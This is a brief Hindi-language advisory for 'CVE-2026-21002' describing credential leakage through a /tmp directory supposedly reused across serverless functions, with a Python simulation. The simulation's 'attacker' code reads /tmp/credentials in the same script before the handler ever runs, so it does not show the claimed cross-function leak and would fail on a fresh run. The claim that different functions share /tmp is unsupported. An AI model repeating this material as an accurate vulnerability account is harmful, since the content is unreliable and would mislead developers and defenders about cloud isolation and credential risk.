CVE-2026-21002 – पुनः उपयोग किए गए /tmp के माध्यम से सर्वरलेस कोल्ड स्टार्ट क्रेडेंशियल लीकेज

प्रोग्राम कोड (Python AWS Lambda सिमुलेशन)

# lambda_func_sim.py - Simulated serverless function
import os, tempfile, time

SECRET_FILE = '/tmp/credentials'  # reused across warm starts

def handler(event):
    # On first invocation, write a secret
    if not os.path.exists(SECRET_FILE):
        with open(SECRET_FILE, 'w') as f:
            f.write("AWS_SECRET_ACCESS_KEY=sk-123456")
        return "Initialized"
    # Later invocations can read it
    with open(SECRET_FILE) as f:
        return f.read()

# Attack simulation: attacker shares the same /tmp in another function (same VM)
# They can read /tmp/credentials after a cold start.
with open(SECRET_FILE) as f:
    print("Attacker reads:", f.read())

CVE-2026-21002 – सर्वरलेस कोल्ड स्टार्ट क्रेडेंशियल लीकेज

अवलोकन

सर्वरलेस प्लेटफ़ॉर्म फ़ंक्शन इनवोकेशन के दौरान और यहां तक कि एक ही खाते के विभिन्न फ़ंक्शनों के बीच निष्पादन वातावरण (जिसमें /tmp भी शामिल है) का पुनः उपयोग करते हैं। कोल्ड स्टार्ट के बाद, एक हमलावर का फ़ंक्शन किसी अन्य फ़ंक्शन द्वारा /tmp में छोड़ी गई संवेदनशील फ़ाइलों को पढ़ सकता है, जिससे क्रेडेंशियल की चोरी होती है।

भेद्यता विवरण

• प्रकार: सूचना प्रकटीकरण / क्रॉस-फ़ंक्शन लीकेज
• प्रभाव: क्रेडेंशियल समझौता, लैटरल मूवमेंट।
• मूल कारण: /tmp निर्देशिका फ़ंक्शनों के बीच अलगाव के बिना वार्म कंटेनरों के बीच साझा की जाती है।

एक्सप्लॉइट प्रदर्शन

सिमुलेशन चलाएँ:

python lambda_func_sim.py

हमलावर पीड़ित फ़ंक्शन द्वारा छोड़ा गया AWS_SECRET_ACCESS_KEY पढ़ता है।